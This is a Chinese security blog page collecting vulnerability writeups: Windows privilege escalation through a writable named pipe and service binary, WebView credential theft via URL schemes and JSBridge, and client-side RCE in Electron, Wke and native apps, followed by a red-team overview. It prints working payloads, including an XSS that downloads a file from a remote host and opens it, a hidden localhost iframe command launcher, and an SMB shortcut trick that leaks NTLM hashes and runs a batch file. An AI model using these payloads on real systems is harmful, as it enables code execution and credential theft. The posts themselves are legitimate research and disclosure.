普通视图

发现新文章,点击刷新页面。
昨天以前Vulkey_Chen's Blog

提权实录:通过命名管道劫持可写服务

2026年3月16日 00:00

提权实录:通过命名管道劫持可写服务

前言

在分析某 Windows 应用的服务组件时,发现其创建的命名管道访问控制配置宽松,允许低权限用户连接并发送指令,从而触发高权限的终止任意进程操作(taskkill)。进一步分析发现,被终止的服务会自动重启,而其可执行文件的权限配置错误,允许 Everyone 组读写。结合这两个缺陷,可构造一条完整的本地提权利用链。

漏洞挖掘过程

命名管道

关于命名管道

命名管道(Named Pipe)是 Windows 操作系统提供的一种进程间通信(IPC)机制,允许不同进程(包括跨会话、跨权限级别)通过一个带名称的管道进行双向或单向数据交换。命名管道具有全局可见的名称(通常位于 \pipe\ 命名空间下,如 \\.\pipe\KeyServicePipe),支持多客户端连接,并可通过安全描述符(Security Descriptor) 设置访问控制列表(ACL),以限制哪些用户或组可以读取、写入或创建连接。

命名管道常被用作高权限服务与低权限客户端之间的通信通道。然而,若开发者未正确配置管道的 ACL(例如允许 Everyone 或 Authenticated Users 具有写权限),攻击者就可以作为客户端向服务端发送消息,从而使得服务执行敏感操作(如启动/终止进程、读取文件等),以此构成权限提升或远程代码执行的风险。

发现命名管道

发现命名管道及查看其对应的 ACL 策略可以借助 Sysinternals Suite 内的 pipelistaccesschk。这里 0cat 向我推荐了一款可视化友好的工具:Pipetap。通过查看 Pipelist 发现存在一个 ACL 策略为 Everyone 可写的命名管道:KeyServicePipe

CleanShot 2026-01-04 at 16.11.27@2x

该命名管道对应的进程也是以 System 权限运行着,完全符合我们挖掘提权的条件。

CleanShot 2026-01-12 at 19.44.25@2x

进程终止逻辑

根据命名管道服务进程定位到其可执行文件,接着通过 IDA 进行一键导出反编译代码。配合着 AI 进行分析,很容易就定位到相关信息。

首先是入口接收到信息并根据不同的偏移量解析客户端所发送过来的消息,根据这些偏移量得知消息包含 2 个部分:消息头和消息体,消息头为 12 个字节。

CleanShot 2026-01-12 at 16.20.29@2x

其次是消息头的逻辑,我们可以看见其有三个部分,每个部分刚好 4 字节(DWORD)。三个部分分别为:会话 ID、消息类型、消息体长度。这些信息也是基于后续的调试输出所得知。读到消息类型后,会判断消息类型的范围必须在 1-37 之间。

CleanShot 2026-01-12 at 16.23.31@2x

最后就进入消息分发,根据不同的消息类型进行分发。不同的消息类型对应不同的处理逻辑,在这里实际上踩了个坑,正常跟进向下的逻辑 Map 寻找,而实际上在服务创建的构造函数内就已经定义好了:sub_424FF0(v5, 消息类型, 消息处理函数)

CleanShot 2026-01-12 at 17.01.45@2x

关键问题逻辑就是其作为命名管道服务端有一个消息接收分发机制,根据消息类型来进行消息的分发。如图所示,当消息类型为 24 时则进入消息进入 sub_4216B0 函数处理。

sub_4216B0 函数内本质上就是获取消息体进行处理,最重要的就行消息体的 +4 字节偏移位,其为 PID(这里做了强转换,因此无法进行命令注入)。PID 首先用于 TASKLIST 命令进行命令查找。

CleanShot 2026-01-12 at 19.25.22@2x

只有当指定的 PID 进程存在时才会接着向下走,走到 TASKKILL 命令,根据 PID 强制关闭进程。至此,我们就发现了一条低权限进程通过命名管道以 System 权限进行 TASKKILL 任意进程的路径。

CleanShot 2026-01-12 at 19.39.38@2x

系统服务

关于系统服务

Windows 服务(Windows Service)是 Windows 操作系统中一种在后台持续运行的程序,无需用户交互即可执行特定任务。如果服务在配置时没有做好权限的 ACL 配置则会导致三类风险:可修改服务二进制文件、可修改服务注册表项、可修改服务本身,易被攻击者利用实现本地权限提升或恶意篡改服务配置与运行逻辑。

可修改服务二进制文件

这里直接借助 SharpUp 来进行一键分析:SharpUp.exe check ModifiableServiceBinaries。发现有很多服务的可执行文件是可以修改的,但是要配合攻击链路,就需要满足被 TASKKILL 强制终止进程后,还会自动重启的。这里测试出来发现 KeyAgent 服务满足这一逻辑。

CleanShot 2026-01-12 at 19.49.29@2x

利用链构建

利用链构建比较简单,先启动独立的线程不断的循环尝试将恶意文件 EvilAgent.exe 替换目标服务的合法可执行文件 KeyAgent.exe,同时作为客户端连接命名管道 \\.\pipe\KeyServicePipe 并发送构造好的 KillProcess 消息触发命名管道服务进程执行 TASKKILL 命令终止 KeyAgent.exe 进程,最后借助 KeyAgent.exe 服务自动重启特性加载恶意文件,完成本地权限提升的利用链构建。

mermaid-diagram-2026-01-12-203558

EvilAgent.exeSystemGap 项目里的 SystemGapAll。其同样也借助命名管道实现高低权限进程间的通信,低权限向高权限发送要执行的命令,高权限执行并把结果返回给低权限。

4cd75d3600f7dd104be96cb3fd87d56a

总结

本提权利用链的成功构建,关键在于命名管道访问控制配置不当与服务可执行文件权限配置错误这两个缺陷的组合利用,在实战过程中发现这也类似的问题也很多,是个值得关注的攻击面。最后,在此特别感谢 @倾旋 在漏洞挖掘过程中提供的协助。

黑盒视角下的 WebView 漏洞面探索

2025年12月26日 00:00

黑盒视角下的 WebView 漏洞面探索

前言

本文主要记录了在移动端探索 WebView 组件漏洞的过程,采用黑盒视角,摒弃复杂繁琐的内部逻辑分析,专注于快速且直接的漏洞挖掘方法。由于笔者才疏学浅,因此本文难免会出现一些文笔不通或专业解释不到位的情况,还望多包涵及斧正。

WebView 组件

介绍

顾名思义,WebView 组件是用于在应用程序中嵌入和展示 Web 内容的系统组件。通过调用 WebView,开发者能够实现在自己的应用中直接渲染网页,这从某种程度上极大地简化了跨平台应用的开发流程。利用 WebView,开发者只需进行少量适配工作,即可将现有的 Web 应用无缝移植到移动应用环境中,显著提升了开发效率和灵活性。

场景

WebView 组件实际上无处不在。例如,在手机上打开一个商城 APP 时,展示的商品信息可能本质上就是通过 WebView 加载和渲染的网页。在这些实际应用场景中,用户通常不会察觉到 WebView 的存在,并且所有显示的信息可能都是由 APP 预先配置好的。

漏洞入口

要想让用户手机上的 APP 调用 WebView 组件对自定义页面进行渲染,方法主要分为两种:第一类是国内常见的二维码扫码,通过扫描一个指向网页链接的二维码,从而直接调用 WebView 加载特定网页;第二类是 APP 间的跳转调用,即 URL Scheme(在安卓上也称为 Deep Link),通过这种方式可以从一个 APP 直接跳转到另一个 APP 中的特定页面,而这个页面同样可能是通过 WebView 来渲染的。

二维码扫描

APP 上的二维码扫码功能通常作用于用户界面的左右上角,如果找不到的话则可以在 APP 的设置页面中找到“扫一扫”、“扫码”等字眼就可以打开相关功能。

URL Scheme 跳转

关于 URL Scheme,对于我来说就是老熟人了,在 2018 年的时候就在博客里浅浅的分享了一下,有兴趣可以看下:https://gh0st.cn/archives/2018-12-08/1。

这里简单说明下,URL Scheme 实际上是应用程序在操作系统层面注册的一种自定义协议格式,它允许 APP 定义特定的协议名,并在 APP 内定义路由和接收参数来完成某些功能,与我们所理解的 HTTP 协议形式的 URL 地址没有什么本质区别。当其他应用或浏览器尝试通过这种自定义协议发起请求时,系统能够识别并定位到相应的应用程序,然后传递所访问的功能路由和参数信息给该应用进行处理。

在 iOS 和 Android 上,对于 URL Scheme 的支持是不一样的,例如在 iOS 上的 Safari 浏览器的地址栏中直接输入 URL Scheme 则可以完成跳转调用。而 Android 默认浏览器下,用同样的方式则会提示找不到网页,因此想要调用 URL Scheme 就需要借助 JavaScript(location 跳转)或 HTML(a 标签 href 点击指向)的方式,在 iOS 上也可以用这种方式。

<a href="xapp://page?url=https://gh0st.cn">Click</a>

实战案例

基于以上所述的两种攻击入口,我发现了许多 APP 上的漏洞,可以通过 WebView 组件直接获取用户凭证。

WebView 访问

访问获取凭证是 WebView 组件漏洞面的最基本漏洞,通过扫描二维码或 URL Scheme 跳转调用 WebView 组件打开指定的 URL 地址,接着由于 APP 为设限或存在绕过的情况下,WebView 内访问指定的 URL 地址时会携带凭证信息。

为什么 WebView 内访问可以携带凭证? 因为当前 APP 的设计架构采用 Native UI 与 WebView 相结合的方式,以兼顾性能体验与业务灵活性,支持更丰富的应用场景,因此在 APP 上进行登录后,APP 在 WebView 的应用场景下也会携带登录凭证。

二维码扫描

关于二维码扫描的方式比较简单找到入口,如上文所说在 APP 那找到对应功能点即可。以下图所示,图中所展示的案例就是最经典的二维码扫描入口进入 WebView 组件,访问时携带了凭证到达指定 URL 地址。(可以将 URL 地址设为 BurpSuite Collaborator 的地址或类似有 HTTP Log 记录的地址)

如图所示案例实际上有个细节,如二维码内容处打码的部分即为白名单域名,可以通过抓包或知道 APP 归属的域名方式获取该部分。很多 APP 使用 WebView 组件进行访问时,会判断当前访问的页面 URL 地址中的域名部分,有些 APP 在此处判断时比较宽松,例如判断域名是否包含某域名。因此可以通过一些格式对此进行绕过,如:http://白名单域名.HTTPLog.comhttp://白名单域名@HTTPLog.com

URL Scheme 跳转

URL Scheme 按常规逻辑需要通过工具查看 APP 所声明的信息,APK 格式就是文件内的 AndroidManifest.xml 文件,IPA 格式就是文件内的 Info.plist 文件。但是本文不做偏逆向/白盒侧的分享,从黑盒角度出发获取 URL Scheme。

为什么可以从黑盒出发获取 URL Scheme? 还是回到 Native UI 与 WebView,因为 WebView 会去访问一些业务/功能页面,因此开发也会在 WebView 网站中去写入 APP 的 URL Scheme 信息,从而调起 APP 内的一些 Native 功能,因此只要可以进行抓包即可通过正则匹配的方式获取到完整的 URL Scheme 信息。

如下图所示案例逻辑为:

  1. 通过笔者所开发的 HaE 工具配合 BurpSuite 进行抓包,规则就会获取到抓包过程中所出现的 URL Scheme 信息:xxx://clause/WebView?url=
  2. 得到该信息之后,将其中的 url 参数设为 HTTPLog 地址:xxx://clause/WebView?url=http://HTTPLog.com
  3. 在 iOS 环境下即可通过浏览器复制构建好的地址直接打开然后跳转到 APP 内的 WebView 访问界面。在 Android 环境下,则可以按上文中提到的 HTML 代码方式进行。
  4. 最后在 HTTPLog 服务中即可查看是否获取到了凭证信息,如果没有也可以尝试绕过,与二维码扫描处的绕过逻辑是一样的。

JSBridge 获取

逻辑与发现

JSBridge 是一种在 App 中实现 JavaScript 与 Native 代码通信的技术方式,可以将 Web 页面中的 JavaScript 调用映射到原生功能中。很多 APP 在使用 JSBridge 映射 JavaScript 与 Native 方法时,未对调用来源的域(Origin)进行校验或白名单限制,导致任意网页或第三方脚本均可通过 JavaScript 直接调用注册的 Native 接口。

这些被注册的接口,可以是全局变量、方法、对象等类型。在 JavaScript 中全局实际上就是窗口对象 Window。也就意味着这些接口都会被注册到 Window 下面。因此,只要进入到 WebView 组件内就可以通过遍历 Window 全局对象的方式来找到被 APP 所注册的接口。

如下代码所示就是一个简易的 Window 全局对象遍历代码。它的缺点很明显,如图所示会将浏览器/组件自带的一些方法遍历出来,因此就需要加入输出过滤功能,从而帮助我们更方便的进行 APP 注册接口的寻找。

<body>
</body>
<script>
    Object.keys(window).forEach(key => { document.body.innerHTML += `<pre>${key}:${window[key]}</pre>`; });
</script>

凭证获取

依旧使用 HaE 的规则通过抓包的方式来获取到 WebView 的 URL Scheme 信息:xxx://promotion/web,有些 URL Scheme 信息需要分析业务 JavaScript 文件中的逻辑,如图所示在基础的 URL 信息上还有一个参数 urlxxx://promotion/web?url=

如下图所示案例逻辑为:

  1. 编写 A 标签跳转页面,用于指定 WebView 组件跳转页面:<a href="xxx://promotion/web?url=http://可信域名.attack.com/WebView/0.html">Click Me</a>
  2. 打开跳转页面点击 A 标签,调用起目标 APP 的 WebView 组件访问自动化遍历脚本页面,分析发现 czbInfo.getAppInfo 方法可以获取凭证。
  3. 构建 JavaScript 外带代码用于验证凭证可以经过网络进行远程获取。

总结与思考

本文从黑盒测试的视角,梳理了针对移动端 WebView 组件的漏洞挖掘路径。但是 WebView 组件不仅仅是移动端的特有产物,随着类 CEF (Chromium嵌入式框架)/ 类 Electron 框架的出现,PC客户端也同样面临着 WebView 组件攻击风险。

抛出两个思考:除了获取凭证外是否存在其他更高维度的利用面?除了APP自身校验缺陷外是否存在系统层的校验不严格问题?

被忽视的暗面:客户端应用漏洞挖掘之旅

2023年12月18日 00:00

被忽视的暗面:客户端应用漏洞挖掘之旅

前言

在2023年12月15日,我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员,我被邀请分享名为“被忽视的暗面:客户端应用漏洞挖掘之旅”的技术议题。

客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级,客户端应用漏洞也逐渐出现在大众视野中(APT攻击、攻防赛事等等),在本次议题中,我们将重点关注PC侧的客户端应用程序,如即时通讯、远程服务、视频软件等应用,探索其中存在的漏洞和潜在的安全风险。

漏洞案例

漏洞案例的分析主要分为两类,一是常规风险的介绍和了解,二是RCE漏洞的挖掘思路和手法。

注意:以下漏洞案例均通过脱敏和细节上的处理。

常规风险篇

常规风险在这里我分为这几类:信息泄露、白利用、逻辑校验、缓冲区溢出。

信息泄漏

对于客户端的信息泄露,我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配,将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。

实际效果没有那么好,仅有一些数据库的连接配置信息泄露,并且由于是基于IDA的也没有那么好的进行自动批量化发现。

我们可以借助Strings工具来快速的获取可执行文件的字符串内容,并通过正则或其他方式进行匹配。

白利用

白利用问题就老生常谈了,在红队的工作中也经常遇到,如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多的赘述了。

逻辑校验

很多客户端程序在对用户信息进行获取的时候会通过内存的方式,来获取用户的编号,从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的,我们可以通过CE来对内存进行修改,从而导致越权漏洞的产生。

这类问题很经典,在以往就有许多案例(wooyun-2015-0143395、wooyun-2014-048606),但现在仍然可以从一些主流的应用上发现到类似的安全问题。

缓冲区溢出

缓冲区溢出问题太多太多了,我们可以通过通过IDA插件VulFi定位脆弱点,很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外,也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz,从而找到溢出问题。

除了本地网络服务以外,最经典的、利用最多的还是特定文件格式处理客户端,如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序,它用于各种各样的图片处理,我们可以找一些比较不常见的图片格式,并且通过网盘资源找到一些样本文件,丢给GPT或IFFA来分析文件格式,并输出Pits脚本,通过Peach Fuzzer来进行Fuzz工作。

RCE篇

接着我们来到RCE篇,请注意这里的RCE并不是Pre Auth的,案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对,如果一些客户端的网络服务端口是监听在0.0.0.0的,只要你与目标机器处于同一个网络,或该客户端是在服务器上使用的,也一样可以实现0 Click的效果。

Web类客户端

Web类客户端,我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序,如Electron这类CEF(浏览器嵌入式)框架开发的客户端应用,以及基于渲染引擎(如Wke)所开发的客户端应用。

某IM客户端应用

如下图所示,是一个即时通讯客户端应用,我在群名称重命名时发现了一个反射XSS漏洞,根据其目录结构我知道它是一个基于Electron开发的程序。

在Electron框架下,如果开发者在渲染页面时配置nodeIntegration为true,则说明我们可以在前端中使用Nodejs的语法,这就导致我们可以直接在前端使用如下Nodejs代码执行命令:

require('child_process').exec(...);

但是这个配置项在创建功能窗口时并没有开启:

所以,我们也就没办法通过XSS执行Nodejs的代码,但是根据当前的Electron的版本1.8.7去互联网检索,发现这个版本存在一个历史漏洞:CVE-2018-15685,而后进行相关验证,也无法成功。

但是我们在\resources\app\src\inject\preload.js文件中(这是预加载JS,也就表示这个文件在窗口创建后,页面创建前就执行了),发现了注册的全局变量:

window.ZxDesktop = ZxDesktop;

所以我们可以直接去调用这个全局变量,从而去使用其内部的定义的一些功能:

该全局变量实际上导出了很多其他模块及对应方法:

我们跟进File模块,就可以发现存在一个open函数:

跟进代码和测试之后,发现它就是文件打开函数,在Console下去调用,成功打开计算器:

接着看导出函数列表的其他项,发现存在两个文件保存的方法:

而它们所指向的都是另外一个模块的方法:

const Download = require('../download_extra/download.render.js');

跟进这个模块,发现实际上他们都来自同一个方法,只不过传递的参数isSelect有不同:

接着我们来完整的阅读下代码即可发现整个逻辑,首先根据你传递的参数来判断要调用NormalDownload(正常下载)还是ChunkDownload(分块下载),接着根据isSelect函数来判断调用save还是saveAs方法:

所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码,来查看它们这些方法的逻辑是什么,这里看了之后,两者代码的唯一区别就是分块,所以本文就以NormalDownload的save、saveAs方法去说明。

首先是saveAs方法,它会调用一个文件保存框,然后赋值调用retryStart方法:

而实际上retryStart方法内调用的是start方法,这个方法是用来进行请求下载的:

而后下载的文件实际上会保存在用户的数据目录下,save方法与saveAs方法的最大的不同就是没有这个文件保存框,所以我们当然选择使用save方法。

需要注意,在如上代码中save和saveAs的传递参数不一致,其实这不影响最终的处理,因为在一开始的对象创建时候就通过构造函数赋值了:

let downloader = new Download(file, config);

至此,我们就获得了文件下载的攻击路径,我们可以根据对应参数这样构建JS代码:

ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

我们已经获得了文件下载的功能,攻击路径就很明显了:用户下载文件,打开文件。但是实际操作中,我们打开文件还缺少一个路径,并且在实际的测试中,默认情况下,下载的文件是会保存在应用的数据目录的null目录下。

而这个目录可能会被用户更改(用户名也没法获取),所以我们需要搭配一个点去获取路径,在这里找到了ZxDesktop的System模块:

它的导出列表中有两个属性:dbPath、userDataPath,它们的内容都是一样的,指向了用户的数据目录:

ZxDesktop.require("System").userDataPath

我们可以这样拼接,就有了下载文件的目录信息了:

ZxDesktop.require("System").userDataPath + "/null/test.txt"

当我们满足所有条件后,就可以构造完整的攻击代码了:

1.下载文件:

var a = ZxDesktop;

var b = a.require("File");

b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

2.拼接文件路径,打开文件:

b.open(a.require("System").userDataPath + "/null/test.txt");

3.最终Exploit:

"><svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'>

某运维平台客户端

在某运维平台客户端中,我们发现可以通过伪协议链接(xxx://webview/?url=http://xxxx)来达到端内任意页面加载,这也就表示我们可以执行任意JS代码。

根据加载的DLL文件得知,其所依赖的前端页面渲染是开源项目Wke

在源代码wke/jsBind.cpp中,发现wkeJSBindFunction方法提供了JSBridge的功能,将JavaScript函数绑定到C++中一个本地函数。

基于IDA分析得知,目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示,其将C++某个函数地址,与名为callprogram的JavaScript函数进行绑定,我们可以直接在JS代码中调用。

跟进对应的C++函数,我们发现它会通过wkeJSParam获取参数,再通过JSToTempStringW获取字符串形式的参数值,最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为:ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)

因此我们可以构建如下的Exploit代码,并通过伪协议的方式使目标可以打开包含Exp代码的网页:

<script>callprogram("C:/Windows/System32/cmd.exe", "/c calc");</script>

传统类客户端

传统类客户端,我的定义是基于C/C++写的一些传统应用,如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。

某远程服务平台客户端

在拿到一个客户端程序时,第一步是安装,第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息,这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联,辅助我们挖掘漏洞。

如下图所示,安装完某远程服务平台客户端后,我通过火绒剑逐个查看对应的进程信息,在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是UserClient.exe进程当前的网络通信信息,我们可以看到它在本地监听了两个端口:3822738230

它的协议都是TCP,我们可以尝试使用HTTP的方式去访问,结果显示38230端口可以以HTTP协议的方式进行访问。

我们可以选取响应报文中的bangwo8client字符串在IDA的Strings窗口中进行搜索,通过这样的方式来进行逻辑的回溯。

双击进入字符串所在的.RDATA节,我们就可以看到该字符串对应的交叉引用,那么接下来我们的工作就是进入这些函数看具体实现是否对的上响应报文的主体内容

我们进入一个函数查看,会发现在函数的头部代码中有如下这么一段内容,它的逻辑似乎就对应了HTTP响应报文的主体返回,通过字符串的对应我们能大致知道sub_487760函数的作用就是为了将字符串解析到JSON格式中,然后再通过其他函数拼接JSON的字段内容给到Block

除了我们跟进的这个函数外其他的函数逻辑都大致一样,并且我们通过IDA插件CTO查看调用关系,发现这些函数最终都是被同一个函数sub_674090调用。

那我们再继续跟进函数sub_674090,函数的逻辑就是根据不同的URI进入不同的函数处理,也就表示着这里就是HTTP请求逻辑处理的入口位置。

有了请求处理逻辑的入口,接下来我们就要去看每个URI对应的处理逻辑是什么,看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。

如果你觉得这样去看很累,也可以基于敏感函数的调用链来对应每个URI的处理函数,如下图所示我就基于ShellExecuteA函数的调用链找到了URI/api_install的对应处理函数,也就表示当你访问URL:http://127.0.0.1:38230/api_install时很有可能就会触发ShellExecuteA函数。

那么我们可以跟进去看一下该处理函数,看看是否可以将可控参数值带入到ShellExecuteA函数里去执行。

在函数的一开始就判断运行当前程序的用户是否是system,如果不是的话则直接返回响应内容(状态码500)提示当前不是以SYSTEM权限运行的进程。

这里我们通过Process Hacker可以看到UserClient.exe进程对应的用户就是SYSTEM

也就表示我们当前是满足这个条件的,所以可以接着看IF分支内的逻辑。在IF分支内就执行了ShellExecuteA函数,根据ShellExecuteA函数的使用语法我们知道它这是以v15作为参数执行v16程序,所以我们需要知道v15v16这两个变量是如何赋值而来的。

具体的逻辑可以下图,我们找到赋值关系最终确认一切的参数来源都是Block,该值是一个全局变量,那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。

根据猜测,我们可以先使用OD附加进程在ShellExecuteA函数处下断点。

然后请求URL:http://127.0.0.1:38230/api_install?file=cmd.exe&param=/k%20notepad,我们就会在OD界面中看见端点到ShellExecuteA函数了,我们可以通过栈来看一下传参是什么。

如下所示我们发现ShellExecuteA函数的参数FileNameParameters是一串乱码的内容,这应该是我们输入的字符串经过了某些处理后导致的。

因此我们可以在URI/api_install对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了,如果带进来了为什么最终值会变成一段乱码的数据。

如下图OD中可以看见我们的请求参数file的值cmd.exe确实可以带进来,这也就验证了我们的猜想,ShellExecuteA函数的参数是来源于HTTP请求参数。

接着走下去我们会发现调用如下函数时的参数就是我们的请求参数file和对应值cmd.exe,当该函数执行完成之后返回到EAX寄存器,我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容,也就是我们在ShellExecuteA函数断点处看见的参数。

push esi
push eax
call UserClie.004203B0

所以我们可以跟进函数004203B0在IDA中看一下它具体做了什么,这样我们才能构造请求让真正的字符串带入到ShellExecuteA函数中执行。

在这之前我们需要注意,由于IDA和实际进程执行的基址不同,我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的,这样我们就可以直接跟进函数004203B0,而不需要再去进行地址的换算。

在IDA中跟进函数004203B0,它实际上也是调用的另外一个函数00370C70,在该函数里对字符串进行位移转换,猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据word_74E940,我们跟进这个数据之后发现似乎是一张解码表。

如下将整段数据罗列出来,看着与Base64解码所需要的解码表是一致的,所以此处极有可能就是Base64解码操作,将我们的输入的字符串cmd.exe进行解码,最终就变成了乱码。

我们可以将cmd.exe字符串进行Base64解码,发现结果确实为我们之前所看到的乱码内容:

最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit,当安装了该客户端的应用打开Exp代码对应页面时,即可以执行我们想要的命令。

<iframe src="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==&param=L2sgbm90ZXBhZA==" width="0px" height="0px">

某视频软件客户端

通过URLProtocolView找到视频软件客户端注册的伪协议:xxplayer://,通过字符串定位程序伪协议的处理功能点,也可以知道有哪些的伪协议路由。

发现这里可以通过xxplayer://action.cmd/xxx的方式来触发一些功能,所有功能列表如下所示:

xxplayer://action.cmd/playShareVideo
xxplayer://action.cmd/play
xxplayer://action.cmd/downloadvideo
xxplayer://action.cmd/downloadpage
xxplayer://action.cmd/downloadShareVideo
xxplayer://action.cmd/createshortcut_url
xxplayer://action.cmd/createshortcut
xxplayer://action.cmd/activeHomepage

根据字面意思理解它的作用即可,这里我们一个一个带入请求尝试,发现当请求createshortcut_url时会在桌面创建.link的快捷方式文件。

我们跟进这个创建快捷方式的逻辑,发现实际上它还有两个参数:urlname

然后将这两个参数值带入CreateUrlShortcut函数执行,这个函数是导入函数,就是用于创建桌面快捷方式的。

因此我们可以构建伪协议URL:xxplayer://action.cmd/createshortcut_url?url=http://www.baidu.com&name=Test,访问就发现它创建了一个名为Test的快捷方式,目标为:C:\xxplayer.exe \UrlQuickLunch=http://www.baidu.com,0,也就表示我们传入的url参数值变成了启动参数,name参数值变成了快捷方式名字。

当我们双击这个快捷方式时,就会调用浏览器打开http://www.baidu.com

接着我们发现只要url参数值为xxx://xxx.xxx/的格式即可,那么我们尝试将url参数值修改为file://172.16.176.176/netntlm,也就变成这样:xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123,在机器上responder监听一下,当打开快捷方式时收到了NTLM Hash:

除了获取NTLM Hash,我们还可以在Ubuntu上开一个SMB服务,然后将url参数设为使用\\172.16.176.176\share\Test.exe,使用快捷方式打开共享文件,发现确实可以打开EXE文件,但是会有文件信任的安全警告(Mark-of-the-Web)。

这里可以通过jar文件形式去绕过,打包一个打开计算器的Jar包放在共享目录下,然后将url参数设为使用\\172.16.176.176\share\1.jar

访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123,创建快捷方式,打开快捷方式,执行Jar包启动计算器,这样我们就实现了1 Click执行任意命令。

使用远程Jar包的方式来达到任意命令执行还是有局限性,如果目标机器不存在Java环境就无法执行,因此在对文件信任机制的研究发现在smb共享文件中打开zip压缩包内的bat文件,不会有任何弹窗提示直接执行bat文件内容。

因此我们可以在共享文件夹中创建1.zip,放入内容为calc1.bat文件。

url参数值设为\\172.16.176.225\share\1.zip\1.bat,然后访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&name=123创建桌面快捷方式,打开快捷方式即可执行bat文件,最终达到不需要任何依赖的情况下执行任意命令。

总结

简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。

关于客户端本地开启的网络协议问题,我总结出如下几步可以快速的进行漏洞发现:

  1. 找到客户端启动的本地网络服务(TCP、UDP),这个可以用火绒剑或者CMD的方式查看;
  2. 有本地监听的情况下,找到对应的程序以及加载的DLL,通过IDA根据端口号找到监听的点,如果是C/C++的程序一般找bind这个函数就能快速定位到;
  3. 向上回溯找调用链,并根据网络服务的返回结果,例如HTTP访问会有一段字符串或者响应头的一些字符串,定位到代码处理逻辑;
  4. 如果逻辑对应上了,那就接着找程序的导入表是否存在敏感的函数,例如:CreateProcess、WinExec、ShellExec,如果存在则可以向上回溯看看是否与网络服务监听点有联系;
  5. 当条件都满足的时候就想尽办法,通过断点调试等操作,找传参或数据传输格式,看看可控内容是否可达敏感的函数处;
  6. 根据代码逻辑构造PoC触发漏洞,并尝试武器化利用。

致谢

在文章的最后,我要感谢公司部门领导和同事对本议题的贡献和帮助(以下排名不分先后),感谢字节跳动安全中心对于本次沙龙的筹办和策划。

我眼中的红队

2022年8月18日 00:00

我眼中的红队

碎语闲谈,作为一名多年的十八线红队选手一直想写一篇文章来总结下“我眼中的红队”,之前写过一点,因文笔拙劣遂删除,起本文重写。

什么是红队

现如今是数字化时代,万物联网创造了一个新的空间,即网络空间,网络空间的安全也上升到了国家安全层面,并且网络已经成为国家继海、陆、空、天之后的第五大主权领域空间。

正是如此,网络空间也就如传统领域空间一样,需要通过演习对抗的模式,提升网络安全防御能力,以攻促防,知攻善防。

攻防双方在演习中通常称之为红队(Red Team)和蓝队(Blue Team),红队(Red Team)即攻击方,穷尽方法攻击以达到获取演习靶标权限的目的。

红队攻击流程

红队的攻击流程大致分为4个步骤,分别是制定战术、外网打点、内网横向、结果报告。

制定战术:根据演习规则及目标结合自身优点制定攻击战术,以保证演习过程不盲目、不混乱,有条不紊的完成演习;

外网打点:通过漏洞、供应链、社工、近源等手段对目标暴露面进行攻击,以此打开进入目标内网的入口;

内网横向:通过信息收集、分析、关联,结合相关漏洞及密码对内网可达网段机器进行横向攻击,以此发现更多脆弱点或接近内网的演习靶标;

结果报告:将红队攻击过程、所涉技术手段、攻击痕迹等信息进行整理,形成文档提交至演习平台,并且便于后续复盘。

红队成员结构

通常在攻防演习中,主办方都是要求现场红队成员有三位,按照我的理解这三位应该是:队长、渗透师、横向师。

队长:技术综合能力较强,具备较好的团队协作、组织、应变、沟通能力,能有条理的安排演习任务,并且在演习结果上报后有争议时与裁判进行沟通;

渗透师:前渗透能力较强,也就是侧重于信息收集、Web漏洞黑盒挖掘及代码审计能力,在拿到目标信息后能够快速的找到脆弱资产,撕开暴露面入口以供后渗透;

横向师:后渗透能力较强,也就是侧重于木马免杀、权限维持及漏洞利用能力,当具有暴露面入口时能够通过它对内网进行持续性的脆弱点发现。

当然,目标往往是美好的,现实却是残酷的,在演习中真正的红队成员都应该具备这三种能力,才能应对这万变的局面。

红队基础设施

红队的基础设施,我将其分为三大块:人员、武器库、漏洞库。

人员:万事皆以人为本,红队的基础设施也离不开人,优秀的伙伴可以让你在演习过程中更舒心,而人员通常是最难解决的,大部分都是通过外部招聘的形式引入技术人才,或培养初入职场的学生;

武器库:武器库在我的理解中,就是一切皆自动化或自主化,信息收集、邮件钓鱼、木马免杀的自动化,以及C2、Webshell管理工具的自主化,这都是最基础的一些;

